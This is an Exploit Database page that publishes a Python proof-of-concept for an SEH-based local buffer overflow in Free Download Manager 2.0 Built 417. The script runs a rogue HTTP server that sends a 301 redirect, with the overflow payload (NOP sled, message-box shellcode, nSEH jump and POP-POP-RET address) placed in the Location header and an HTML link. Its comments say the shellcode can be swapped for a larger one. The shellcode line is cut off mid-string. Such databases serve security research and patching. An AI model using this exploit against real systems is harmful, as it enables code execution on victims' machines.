

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Free Download Manager 2.0 Built 417 - Local Buffer Overflow (SEH)

EDB-ID:

44499

CVE:

N/A

EDB Verified: ✘

Author:

[MARWAN SHAMEL](#)

Type:

[LOCAL](#)

Exploit:  

Platform:

[WINDOWS_X86](#)

Date:

2018-04-23

Vulnerable App:





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```

# Exploit Title: Free Download Manager 2.0 Built 417 - Local Buffer
Overflow (SEH)
# Date: 2018-04-23
# Exploit Author: Marwan Shamel
# Software Link: https://filehippo.com/download_free_download_manager/925/
# Version: v2.0 Built 417
# Tested on: Windows 7 Enterprise SP1 32 bit
# Special thanks to my wife
# Steps : file > Import > Import lists of downloads > open URL file that
includes http://192.168.1.53:81 (HOST|Port changed according to your needs)

#!/usr/bin/python

from socket import *
from time import sleep

host = "192.168.1.53"
port = 81

s = socket(AF_INET, SOCK_STREAM)
s.bind((host, port))
s.listen(1)
print "\n[+] Listening on %d ..." % port

cl, addr = s.accept()
print "[+] Connection accepted from %s" % addr[0]

nseh = "\xeb\x88\x90\x90" #Short Jump backward 118bytes (jmp short
0xfffff8a) (more bytes can be jumped backwards depending on the shell code
size required )
seh = "\xd1\x9c\x4a\x00" #address to trigger POP-POP-RETURN sequence
# Evil produce a message box 113 bytes can be changed according to your
needs
evil =
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42\x08\x8b\x72\x20
payload = "\x43" * (1724-255) + "\x90" * 142 + evil + nseh + seh

buffer = "HTTP/1.1 301 Moved Permanently\r\n"
buffer += "Date: Thu, 23 Feb 2018 10:21:08 GMT\r\n"
buffer += "Server: Apache/2.2.22 (Debian)\r\n"
buffer += "Location: "+ payload + "\r\n"
buffer += "Vary: Accept-Encoding\r\n"
buffer += "Content-Length: 8000\r\n"
buffer += "Keep-Alive: timeout=5, max=100\r\n"
buffer += "Connection: Keep-Alive\r\n"
buffer += "Content-Type: text/html; charset=iso-8859-1\r\n"
buffer += "\r\n"
buffer += "<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">\n"
buffer += "<html><head>\n"
buffer += "<title>301 Moved Permanently</title>\n"
buffer += "</head><body>\n"
buffer += "<h1>Moved Permanently</h1>\n"
buffer += "<p>The document has moved <ahref=\""+payload+"\">here</a>.\n"
buffer += "</p>\n"
buffer += "</body></html>\n"

print cl.recv(1000)
cl.send(buffer)
print "[+] Sending buffer: OK\n"

sleep(1)
cl.close()
s.close()

```

Tags:

Advisory/Source: [Link](#)

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.